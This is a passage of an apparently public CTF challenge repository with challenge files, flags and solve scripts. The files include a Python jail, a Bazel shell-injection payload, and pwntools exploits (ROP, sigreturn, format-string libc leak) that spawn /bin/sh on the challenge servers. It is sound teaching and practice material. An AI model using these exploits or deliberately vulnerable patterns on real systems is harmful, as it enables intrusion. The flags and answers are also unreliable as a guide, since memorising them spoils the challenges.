13 | Solve script at: `challenge/solve.py`. Python treats True as 1 which we can use to our advantage. First, find the length of the flag by: `flag[True]`. This becomes `flag[1]`. `flag[True+True]` becomes `flag[2]` and so on. Keep on doing this until you get "error". The error would be index out of range. Next, once you know the length of the flag, use this payload `[True,True][ord(flag[True])]` so in this case `ord(flag[True])` is the ascii value of the second character of the flag (python indexing starts at 0). Next, `[True,True]` is an array of length 2. `[True,True][99]` will give an error (99 is the ascii value of "c"). However, an array of len 100 (indexing starts at zero) will not give an error. So you know the correct value of `100-1` == 99. So just keep on adding elements to the array and once you find the character, move on to the next one.
14 |
15 |
--------------------------------------------------------------------------------
/Misc/ok-nice/challenge.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: kctf.dev/v1
2 | kind: Challenge
3 | metadata:
4 | name: ok-nice
5 | spec:
6 | deployed: true
7 | powDifficultySeconds: 0
8 | network:
9 | public: true
10 | healthcheck:
11 | enabled: false
12 | image: eu.gcr.io/imaginaryctf-2023/ok-nice-challenge:a3c893234936cb4c379b184166d3be2bb56417f5302a1ae25e0227fd3db3ec22
13 |
--------------------------------------------------------------------------------
/Misc/ok-nice/challenge/Dockerfile:
--------------------------------------------------------------------------------
1 | # Copyright 2020 Google LLC
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # https://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 | FROM ubuntu:22.04@sha256:ac58ff7fe25edc58bdf0067ca99df00014dbd032e2246d30a722fa348fd799a5 as chroot
15 |
16 | RUN /usr/sbin/useradd --no-create-home -u 1024 user
17 | RUN apt-get update -y; apt-get install python3 python3-pip -y
18 | COPY flag.txt /home/user/flag.txt
19 | COPY jail.py /home/user/chal
20 | RUN chmod 555 /home/user/chal
21 |
22 | FROM gcr.io/kctf-docker/challenge@sha256:d884e54146b71baf91603d5b73e563eaffc5a42d494b1e32341a5f76363060fb
23 |
24 | COPY --from=chroot / /chroot
25 |
26 | COPY nsjail.cfg /home/user/
27 |
28 | CMD kctf_setup && \
29 | kctf_drop_privs \
30 | socat \
31 | TCP-LISTEN:1337,reuseaddr,fork \
32 | EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /home/user/chal"
33 |
--------------------------------------------------------------------------------
/Misc/ok-nice/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{0k_n1c3_7f4d3e5a6b}
2 |
--------------------------------------------------------------------------------
/Misc/ok-nice/challenge/jail.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | flag = open('flag.txt').read()
3 |
4 | print("Welcome to the jail! It is so secure I even have a flag variable!")
5 | blacklist=['0','1','2','3','4','5','6','7','8','9','_','.','=','>','<','{','}','class','global','var','local','import','exec','eval','t','set','blacklist']
6 | while True:
7 | inp = input("Enter input: ")
8 | for i in blacklist:
9 | if i in inp:
10 | print("ok nice")
11 | exit(0)
12 | for i in inp:
13 | if (ord(i) > 125) or (ord(i) < 40) or (len(set(inp))>17):
14 | print("ok nice")
15 | exit(0)
16 | try:
17 | eval(inp,{'__builtins__':None,'ord':ord,'flag':flag})
18 | print("ok nice")
19 | except:
20 | print("error")
21 |
--------------------------------------------------------------------------------
/Misc/ok-nice/challenge/solve.py:
--------------------------------------------------------------------------------
1 | # ========================= Setup =========================
2 | from pwn import *
3 | io = remote("34.34.58.232", 1337)
4 | def read():
5 | (io.readuntil(b'input: '))
6 |
7 | read()
8 |
9 | # ========================= Find length of the flag =========================
10 |
11 | flag_len=0
12 | for i in range(5,100):
13 | io.sendline(f'ord(flag[{("True+"*i)[:-1]}])'.encode())
14 | x=io.readline().strip()
15 | if b'nice' in x:
16 | continue
17 | if b'error' in x:
18 | flag_len=i-1
19 | print(f'Found len! len={flag_len}')
20 | break
21 |
22 | # ========================= Find the flag =========================
23 | flag='i' # for flag[0] we would have to use False instead of True but we already know the first character.
24 | for i in range(1,flag_len):
25 | for j in range(30,130):
26 | payload=f'[{("True,"*j)[:-1]}][ord(flag[{("True+"*i)[:-1]}])]'
27 | io.sendline(payload.encode())
28 | x = io.readline().strip()
29 | if b'error' in x:
30 | continue
31 | if b'nice' in x:
32 | flag += chr(j-1)
33 | break
34 |
35 | print(flag)
36 |
--------------------------------------------------------------------------------
/Misc/sanity-check/README.md:
--------------------------------------------------------------------------------
1 | # sanity-check
2 | **Category**: Misc
3 | **Difficulty**: Easy
4 | **Author**: Board
5 |
6 | # Description
7 | Welcome to ImaginaryCTF 2024!
8 |
9 | # Distributions
10 | - `ictf{this_isnt_real}`
11 |
12 | # Solution
13 |
14 | Copy and paste the flag.
15 |
16 |
--------------------------------------------------------------------------------
/Misc/sanity-check/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{this_isnt_real}
2 |
--------------------------------------------------------------------------------
/Misc/starship/README.md:
--------------------------------------------------------------------------------
1 | # starship
2 | **Category**: Misc
3 | **Difficulty**: Medium
4 | **Author**: Eth007
5 |
6 | # Description
7 |
8 | We've gotten console access to the rogue ship, but there isn't much time left. Hopefully you can figure out how to destroy it... before it's too late.
9 |
10 | # Distributions
11 | - `main.py` (`gen.py` should stay secret)
12 | - nc connection
13 |
14 | # Solution
15 |
16 | - solve.py
17 |
18 |
--------------------------------------------------------------------------------
/Misc/starship/challenge.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: kctf.dev/v1
2 | kind: Challenge
3 | metadata:
4 | name: starship
5 | spec:
6 | deployed: true
7 | powDifficultySeconds: 0
8 | network:
9 | public: true
10 | healthcheck:
11 | enabled: false
12 | image: eu.gcr.io/imaginaryctf-2023/starship-challenge:0cd2c1a74bf837f65ddd147c6d6f3b097f4110ffa26ce66485b65800bd0be6de
13 |
--------------------------------------------------------------------------------
/Misc/starship/challenge/__pycache__/gen.cpython-310.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Misc/starship/challenge/__pycache__/gen.cpython-310.pyc
--------------------------------------------------------------------------------
/Misc/starship/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{m1ssion_succ3ss_8fac91385b77b026}
2 |
--------------------------------------------------------------------------------
/Misc/starship/challenge/solve.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 |
3 | conn = remote("35.204.145.12", 1337)
4 | conn.recvuntil(b"> ")
5 |
6 | def midpoint(p1, p2):
7 | p1 = list(map(int, p1.split(",")))
8 | p2 = list(map(int, p2.split(",")))
9 | return ",".join(map(str,[(i1+i2)//2 for i1, i2 in zip(p1, p2)]))
10 |
11 | def explode(pt):
12 | return list(map(int, pt.split(",")[:-1]))
13 |
14 | # get the target points
15 | conn.sendline(b"4")
16 | conn.recvuntil(b": ")
17 | a = conn.recvuntil(b" ").strip().decode()
18 | conn.recvuntil(b": ")
19 | conn.recvuntil(b": ")
20 | b = conn.recvuntil(b" ").strip().decode()
21 |
22 | info("point 1: " + str(a))
23 | info("point 2: " + str(b))
24 |
25 | # poison the data
26 | conn.sendline(b"42")
27 | conn.sendline((midpoint(a,b) + ",friendly").encode())
28 |
29 | info("poison point: " + midpoint(a,b))
30 |
31 | # train the model
32 | conn.sendline(b"2")
33 |
34 | # get the flag
35 | conn.sendline(b"4")
36 |
37 | conn.interactive()
38 |
--------------------------------------------------------------------------------
/Misc/sussy/README.md:
--------------------------------------------------------------------------------
1 | # sussy
2 | **Category:** Misc
3 | **Difficulty:** Easy
4 | **Author:** csaraepb
5 |
6 | ## Description
7 |
8 | There's a discord bot in the notactf discord, and it's kind of suspicious. What are its responses hiding in plain sight?
9 |
10 | ## Distribution
11 |
12 | - http://notactf.chal.imaginaryctf.org
13 |
14 | ## Solution
15 |
16 | The !wallet command will ping an user, copy the message as text and you will see a hidden string.
17 |
--------------------------------------------------------------------------------
/Misc/sussy/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{$p0!l3rsp@m!!_809129783}
2 |
--------------------------------------------------------------------------------
/Misc/zable/README.md:
--------------------------------------------------------------------------------
1 | # zable
2 | **Category**: Misc
3 | **Difficulty**: Easy/Medium
4 | **Author**: puzzler7
5 |
6 | # Description
7 |
8 | There are two types of build systems - the ones people complain about, and the ones nobody uses.
9 |
10 | # Distributions
11 | - nc connection
12 | - `zable.dist.zip` - generated with `gen_dist.sh`
13 |
14 | # Solution
15 |
16 | `js_binary` generates a bash script that sets up the environment where `hello.js` runs. Part of this involves putting the environment variables in a snippet that looks like the following:
17 |
18 | ```sh
19 | EXPORT NAME=""
20 | ```
21 |
22 | Thus, putting double quotes in your name escapes this, allowing for RCE. The name `";cat /app/flag.txt;echo "` prints the flag.
23 |
24 |
--------------------------------------------------------------------------------
/Misc/zable/challenge.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: kctf.dev/v1
2 | kind: Challenge
3 | metadata:
4 | name: zable
5 | spec:
6 | deployed: true
7 | powDifficultySeconds: 10
8 | network:
9 | public: true
10 | healthcheck:
11 | enabled: false
12 |
--------------------------------------------------------------------------------
/Misc/zable/challenge/.bazelignore:
--------------------------------------------------------------------------------
1 | node_modules
--------------------------------------------------------------------------------
/Misc/zable/challenge/.npmrc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Misc/zable/challenge/.npmrc
--------------------------------------------------------------------------------
/Misc/zable/challenge/BUILD:
--------------------------------------------------------------------------------
1 | load('@aspect_rules_js//js:defs.bzl', 'js_binary')
2 | load(':defs.bzl', 'get_env')
3 |
4 | get_env(name='get_env')
5 |
6 | js_binary(
7 | name = 'run',
8 | env = {
9 | 'NAME': '$(NAME)',
10 | },
11 | toolchains = [
12 | ':get_env',
13 | ],
14 | entry_point = 'hello.js',
15 | )
--------------------------------------------------------------------------------
/Misc/zable/challenge/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:22.04
2 |
3 | RUN /usr/sbin/useradd --no-create-home -u 1000 user
4 |
5 | RUN DEBIAN_FRONTEND=noninteractive apt-get -y update
6 | RUN DEBIAN_FRONTEND=noninteractive apt-get -y install ncat python3 apt-transport-https curl gnupg
7 | RUN curl -fsSL https://bazel.build/bazel-release.pub.gpg | gpg --dearmor >bazel-archive-keyring.gpg
8 | RUN mv bazel-archive-keyring.gpg /usr/share/keyrings
9 | RUN echo "deb [arch=amd64 signed-by=/usr/share/keyrings/bazel-archive-keyring.gpg] https://storage.googleapis.com/bazel-apt stable jdk1.8" | tee /etc/apt/sources.list.d/bazel.list
10 | RUN DEBIAN_FRONTEND=noninteractive apt-get -y update
11 | RUN DEBIAN_FRONTEND=noninteractive apt-get -y install bazel
12 |
13 | WORKDIR /app
14 |
15 | COPY .bazelignore /app
16 | COPY .npmrc /app
17 | COPY BUILD /app
18 | COPY chall.py /app
19 | COPY defs.bzl /app
20 | COPY flag.txt /app
21 | COPY hello.js /app
22 | COPY MODULE.bazel /app
23 | COPY MODULE.bazel.lock /app
24 | COPY package.json /app
25 | COPY pnpm-lock.yaml /app
26 | COPY WORKSPACE /app
27 | COPY wrapper.sh /app
28 |
29 | RUN chmod 555 /app/*
30 |
31 | RUN mkdir -p /home/user/.cache/bazel/
32 | RUN chmod -R 777 /home/user/.cache/bazel/
33 |
34 | USER 1000:1000
35 |
36 | VOLUME /home
37 |
38 | CMD ncat -klvp 1337 -m 999999 -e ./wrapper.sh
39 |
--------------------------------------------------------------------------------
/Misc/zable/challenge/MODULE.bazel:
--------------------------------------------------------------------------------
1 | ###############################################################################
2 | # Bazel now uses Bzlmod by default to manage external dependencies.
3 | # Please consider migrating your external dependencies from WORKSPACE to MODULE.bazel.
4 | #
5 | # For more details, please check https://github.com/bazelbuild/bazel/issues/18958
6 | ###############################################################################
7 |
--------------------------------------------------------------------------------
/Misc/zable/challenge/WORKSPACE:
--------------------------------------------------------------------------------
1 | load("@bazel_tools//tools/build_defs/repo:http.bzl", "http_archive")
2 |
3 | http_archive(
4 | name = "aspect_rules_js",
5 | sha256 = "a723815986f3dd8b2c58d0ea76fde0ed56eed65de3212df712e631e5fc7d8790",
6 | strip_prefix = "rules_js-2.0.0-rc6",
7 | url = "https://github.com/aspect-build/rules_js/releases/download/v2.0.0-rc6/rules_js-v2.0.0-rc6.tar.gz",
8 | )
9 |
10 | load("@aspect_rules_js//js:repositories.bzl", "rules_js_dependencies")
11 |
12 | rules_js_dependencies()
13 |
14 | load("@aspect_rules_js//js:toolchains.bzl", "DEFAULT_NODE_VERSION", "rules_js_register_toolchains")
15 |
16 | rules_js_register_toolchains(node_version = DEFAULT_NODE_VERSION)
17 |
18 | load("@aspect_rules_js//npm:repositories.bzl", "npm_translate_lock")
19 |
20 | npm_translate_lock(
21 | name = "npm",
22 | npmrc = "//:.npmrc",
23 | pnpm_lock = "//:pnpm-lock.yaml",
24 | verify_node_modules_ignored = "//:.bazelignore",
25 | )
26 |
27 | load("@npm//:repositories.bzl", "npm_repositories")
28 |
29 | npm_repositories()
--------------------------------------------------------------------------------
/Misc/zable/challenge/chall.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | from subprocess import Popen
4 |
5 | name = input('Enter name: ')
6 |
7 | for c in '`$(){}':
8 | name.replace(name, '')
9 |
10 | Popen([
11 | 'bazel',
12 | 'run',
13 | ':run',
14 | f'--action_env=NAME={name}'
15 | ], shell=False).communicate()
16 |
--------------------------------------------------------------------------------
/Misc/zable/challenge/defs.bzl:
--------------------------------------------------------------------------------
1 | def _get_env_impl(ctx):
2 | return [
3 | platform_common.TemplateVariableInfo({
4 | "NAME": ctx.configuration.default_shell_env.get("NAME", "hacker"),
5 | }),
6 | ]
7 |
8 | get_env = rule(
9 | implementation = _get_env_impl,
10 | attrs = {},
11 | )
--------------------------------------------------------------------------------
/Misc/zable/challenge/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.3'
2 | services:
3 | shell:
4 | build: .
5 | ports:
6 | - 1337:1337
7 |
--------------------------------------------------------------------------------
/Misc/zable/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{I_supp0se_if_a_hacker_can_run_bazel_on_your_system_things_are_already_bad}
2 |
--------------------------------------------------------------------------------
/Misc/zable/challenge/hello.js:
--------------------------------------------------------------------------------
1 | console.log(`Hello, ${process.env.NAME}!`)
--------------------------------------------------------------------------------
/Misc/zable/challenge/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "zable",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "hello.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "author": "",
10 | "license": "ISC",
11 | "pnpm": {
12 | "onlyBuiltDependencies": []
13 | }
14 | }
15 |
--------------------------------------------------------------------------------
/Misc/zable/challenge/pnpm-lock.yaml:
--------------------------------------------------------------------------------
1 | lockfileVersion: '9.0'
2 |
3 | settings:
4 | autoInstallPeers: true
5 | excludeLinksFromLockfile: false
6 |
7 | importers:
8 |
9 | .: {}
10 |
--------------------------------------------------------------------------------
/Misc/zable/challenge/wrapper.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | python3 -u chall.py
--------------------------------------------------------------------------------
/Misc/zable/gen_dist.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | cd challenge
4 | export FLAG="`cat flag.txt`"
5 | echo "jctf{not_a_real_flag}" > flag.txt
6 | zip ../zable.dist.zip \
7 | .bazelignore \
8 | .npmrc \
9 | BUILD \
10 | chall.py \
11 | defs.bzl \
12 | docker-compose.yml \
13 | Dockerfile \
14 | flag.txt \
15 | hello.js \
16 | MODULE.bazel \
17 | MODULE.bazel.lock \
18 | package.json \
19 | pnpm-lock.yaml \
20 | WORKSPACE \
21 | wrapper.sh
22 | echo ${FLAG} > flag.txt
--------------------------------------------------------------------------------
/Misc/zable/zable.dist.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Misc/zable/zable.dist.zip
--------------------------------------------------------------------------------
/Pwn/bopity/README.md:
--------------------------------------------------------------------------------
1 | # bopity
2 | **Category:** Pwn
3 | **Difficulty:** Medium
4 | **Author:** Eth007
5 |
6 | ## Description
7 |
8 | Just your typical ROP challenge (files and remote are the same as in ropity; you must get a shell)
9 |
10 | ## Distribution
11 |
12 | - `vuln`
13 | - nc
14 |
15 | ## Solution
16 |
17 | - solve.py
18 |
--------------------------------------------------------------------------------
/Pwn/bopity/challenge/Dockerfile:
--------------------------------------------------------------------------------
1 | # Copyright 2020 Google LLC
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # https://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 | FROM ubuntu:22.04@sha256:ac58ff7fe25edc58bdf0067ca99df00014dbd032e2246d30a722fa348fd799a5 as chroot
15 |
16 | RUN /usr/sbin/useradd --no-create-home -u 1024 user
17 |
18 | COPY flag.txt /home/user/flag.txt
19 | COPY flag2.txt /home/user/4a96aa432513aad8.txt
20 | COPY vuln /home/user/chal
21 | RUN chmod 555 /home/user/chal
22 |
23 | FROM gcr.io/kctf-docker/challenge@sha256:d884e54146b71baf91603d5b73e563eaffc5a42d494b1e32341a5f76363060fb
24 |
25 | COPY --from=chroot / /chroot
26 |
27 | COPY nsjail.cfg /home/user/
28 |
29 | CMD kctf_setup && \
30 | kctf_drop_privs \
31 | socat \
32 | TCP-LISTEN:1337,reuseaddr,fork \
33 | EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /home/user/chal"
34 |
--------------------------------------------------------------------------------
/Pwn/bopity/challenge/Makefile:
--------------------------------------------------------------------------------
1 | all:
2 | gcc vuln.c -o vuln -fno-stack-protector -no-pie -masm=intel
3 |
--------------------------------------------------------------------------------
/Pwn/bopity/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{pop_rdi_L}
--------------------------------------------------------------------------------
/Pwn/bopity/challenge/flag2.txt:
--------------------------------------------------------------------------------
1 | ictf{why_control_one_register_when_you_can_control_them_all}
2 |
--------------------------------------------------------------------------------
/Pwn/bopity/challenge/solve.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 |
3 | context.binary = elf = ELF("./vuln")
4 | conn = elf.process()
5 | #gdb.attach(conn)
6 | #conn = remote("localhost", 1337)
7 | rop = ROP(elf)
8 |
9 | payload = b"a"*8
10 | payload += p64(0x404018 + 0x8) # fgets got
11 | payload += p64(0x401142)
12 | conn.sendline(payload)
13 |
14 | frame = SigreturnFrame()
15 | frame.rax = 59
16 | frame.rip = 0x401198
17 | frame.rdi = 0x404048 + 160
18 | frame.rsi = 0
19 | frame.rdx = 0
20 | frame.rsp = u64(b"/bin/sh\0")
21 |
22 | payload = b""
23 | payload += p64(elf.sym.printfile) # goes into fgets got
24 | payload += p64(0x404038) # flag.txt
25 | payload += p64(0x401142)
26 | payload += b"flag.txt"
27 | payload += p64(0)
28 | payload += p64(0x401198) # syscall
29 | payload += bytes(frame)
30 | conn.sendline(payload)
31 |
32 | conn.interactive()
33 |
--------------------------------------------------------------------------------
/Pwn/bopity/challenge/vuln:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/bopity/challenge/vuln
--------------------------------------------------------------------------------
/Pwn/bopity/challenge/vuln.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | void main() {
5 | char buf[8];
6 | fgets(buf, 0x100, stdin);
7 | }
8 |
9 | void printfile(char*file) {
10 | __asm__(
11 | ".intel_syntax noprefix\n"
12 | "mov rax, 2\n"
13 | "mov rsi, 0\n"
14 | "syscall\n"
15 | "mov rsi, rax\n"
16 | "mov rdi, 1\n"
17 | "mov rdx, 0\n"
18 | "mov r8, 0x100\n"
19 | "mov rax, 40\n"
20 | "syscall\n"
21 | );
22 | }
23 |
--------------------------------------------------------------------------------
/Pwn/fermat/README.md:
--------------------------------------------------------------------------------
1 | # fermat
2 | **Category:** Pwn
3 | **Difficulty:** Medium
4 | **Author:** Eth007
5 |
6 | ## Description
7 |
8 | this format string is not meant to be exploited.
9 |
10 | ## Distribution
11 |
12 | - `vuln`
13 | - `libc.so.6`
14 | - nc
15 |
16 | ## Solution
17 |
18 | - solve.py
19 |
--------------------------------------------------------------------------------
/Pwn/fermat/challenge.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: kctf.dev/v1
2 | kind: Challenge
3 | metadata:
4 | name: fermat
5 | spec:
6 | deployed: true
7 | powDifficultySeconds: 0
8 | network:
9 | public: true
10 | healthcheck:
11 | enabled: false
12 | image: eu.gcr.io/imaginaryctf-2023/fermat-challenge:f462f214c0a91e7753286ec998bbaa82a9aae8c6922df888073328043248413e
13 |
--------------------------------------------------------------------------------
/Pwn/fermat/challenge/Dockerfile:
--------------------------------------------------------------------------------
1 | # Copyright 2020 Google LLC
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # https://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 | FROM ubuntu:22.04@sha256:ac58ff7fe25edc58bdf0067ca99df00014dbd032e2246d30a722fa348fd799a5 as chroot
15 |
16 | RUN /usr/sbin/useradd --no-create-home -u 1024 user
17 |
18 | COPY flag.txt /home/user/flag.txt
19 | COPY vuln /home/user/chal
20 | RUN chmod 555 /home/user/chal
21 |
22 | FROM gcr.io/kctf-docker/challenge@sha256:d884e54146b71baf91603d5b73e563eaffc5a42d494b1e32341a5f76363060fb
23 |
24 | COPY --from=chroot / /chroot
25 |
26 | COPY nsjail.cfg /home/user/
27 |
28 | CMD kctf_setup && \
29 | kctf_drop_privs \
30 | socat \
31 | TCP-LISTEN:1337,reuseaddr,fork \
32 | EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /home/user/chal"
33 |
--------------------------------------------------------------------------------
/Pwn/fermat/challenge/Makefile:
--------------------------------------------------------------------------------
1 | all:
2 | gcc vuln.c -o vuln -fno-stack-protector
3 |
--------------------------------------------------------------------------------
/Pwn/fermat/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{im_really_out_of_format_string_ideas.}
2 |
--------------------------------------------------------------------------------
/Pwn/fermat/challenge/libc.so.6:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/fermat/challenge/libc.so.6
--------------------------------------------------------------------------------
/Pwn/fermat/challenge/solve.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 |
3 | context.binary = elf = ELF("./vuln")
4 | libc = ELF("./libc.so.6")
5 | conn = remote("35.204.190.192", 1337)
6 |
7 | conn.send(b"%39$p\0".ljust(264, b"a") + bytes([28]))
8 | conn.recvuntil(b"0x")
9 |
10 | libc.address = int(conn.recv(12), 16) - 0x29d1c
11 | info("libc @ " + hex(libc.address))
12 |
13 | rop = ROP(libc)
14 | rop.raw(rop.ret)
15 | rop.system(next(libc.search(b"/bin/sh")))
16 |
17 | conn.sendline(b"a"*264 + rop.chain())
18 |
19 | conn.interactive()
20 |
--------------------------------------------------------------------------------
/Pwn/fermat/challenge/vuln:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/fermat/challenge/vuln
--------------------------------------------------------------------------------
/Pwn/fermat/challenge/vuln.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 |
9 | int main() {
10 | char buf[0x100];
11 | setbuf(stdin, NULL);
12 | setbuf(stdout, NULL);
13 | read(0, buf, 0x128);
14 | assert(strstr(buf, "n") == NULL);
15 | printf(buf);
16 | }
17 |
--------------------------------------------------------------------------------
/Pwn/hopper/README.md:
--------------------------------------------------------------------------------
1 | # hopper
2 | **Category:** Pwn
3 | **Difficulty:** Medium-Hard
4 | **Author:** Eth007
5 |
6 | ## Description
7 |
8 | time stands still when you're afraid
9 |
10 | ## Distribution
11 |
12 | - `vuln`
13 | - nc
14 |
15 | ## Solution
16 |
17 | - solve.py
18 |
--------------------------------------------------------------------------------
/Pwn/hopper/challenge.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: kctf.dev/v1
2 | kind: Challenge
3 | metadata:
4 | name: hopper
5 | spec:
6 | deployed: true
7 | powDifficultySeconds: 0
8 | network:
9 | public: true
10 | healthcheck:
11 | enabled: false
12 | image: eu.gcr.io/imaginaryctf-2023/hopper-challenge:2bdeabec845a529d0a421cb1ffe963095335f95d1e27d0fb6126bfb9ded7052d
13 |
--------------------------------------------------------------------------------
/Pwn/hopper/challenge/Dockerfile:
--------------------------------------------------------------------------------
1 | # Copyright 2020 Google LLC
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # https://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 | FROM ubuntu:22.04@sha256:ac58ff7fe25edc58bdf0067ca99df00014dbd032e2246d30a722fa348fd799a5 as chroot
15 |
16 | RUN /usr/sbin/useradd --no-create-home -u 1024 user
17 |
18 | COPY flag.txt /home/user/flag.txt
19 | COPY vuln /home/user/chal
20 | RUN chmod 555 /home/user/chal
21 |
22 | FROM gcr.io/kctf-docker/challenge@sha256:d884e54146b71baf91603d5b73e563eaffc5a42d494b1e32341a5f76363060fb
23 |
24 | COPY --from=chroot / /chroot
25 |
26 | COPY nsjail.cfg /home/user/
27 |
28 | CMD kctf_setup && \
29 | kctf_drop_privs \
30 | socat \
31 | TCP-LISTEN:1337,reuseaddr,fork \
32 | EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /home/user/chal"
33 |
--------------------------------------------------------------------------------
/Pwn/hopper/challenge/Makefile:
--------------------------------------------------------------------------------
1 | all:
2 | g++ vuln.cpp -o vuln
3 |
--------------------------------------------------------------------------------
/Pwn/hopper/challenge/__pycache__/setcontext32.cpython-310.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/hopper/challenge/__pycache__/setcontext32.cpython-310.pyc
--------------------------------------------------------------------------------
/Pwn/hopper/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{n0_0ne_kn0ws_h0w_deep_it_g0es_82a29e34}
2 |
--------------------------------------------------------------------------------
/Pwn/hopper/challenge/libc.so.6:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/hopper/challenge/libc.so.6
--------------------------------------------------------------------------------
/Pwn/hopper/challenge/setcontext32.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 |
3 | def create_ucontext(
4 | src: int,
5 | rsp=0,
6 | rbx=0,
7 | rbp=0,
8 | r12=0,
9 | r13=0,
10 | r14=0,
11 | r15=0,
12 | rsi=0,
13 | rdi=0,
14 | rcx=0,
15 | r8=0,
16 | r9=0,
17 | rdx=0,
18 | rip=0xDEADBEEF,
19 | ) -> bytearray:
20 | b = bytearray(0x200)
21 | b[0xE0:0xE8] = p64(src) # fldenv ptr
22 | b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr
23 |
24 | b[0xA0:0xA8] = p64(rsp)
25 | b[0x80:0x88] = p64(rbx)
26 | b[0x78:0x80] = p64(rbp)
27 | b[0x48:0x50] = p64(r12)
28 | b[0x50:0x58] = p64(r13)
29 | b[0x58:0x60] = p64(r14)
30 | b[0x60:0x68] = p64(r15)
31 |
32 | b[0xA8:0xB0] = p64(rip) # ret ptr
33 | b[0x70:0x78] = p64(rsi)
34 | b[0x68:0x70] = p64(rdi)
35 | b[0x98:0xA0] = p64(rcx)
36 | b[0x28:0x30] = p64(r8)
37 | b[0x30:0x38] = p64(r9)
38 | b[0x88:0x90] = p64(rdx)
39 |
40 | return b
41 |
42 | def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
43 | got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
44 | plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
45 | return got, flat(
46 | p64(0),
47 | p64(got + 0x218),
48 | p64(libc.symbols["setcontext"] + 32),
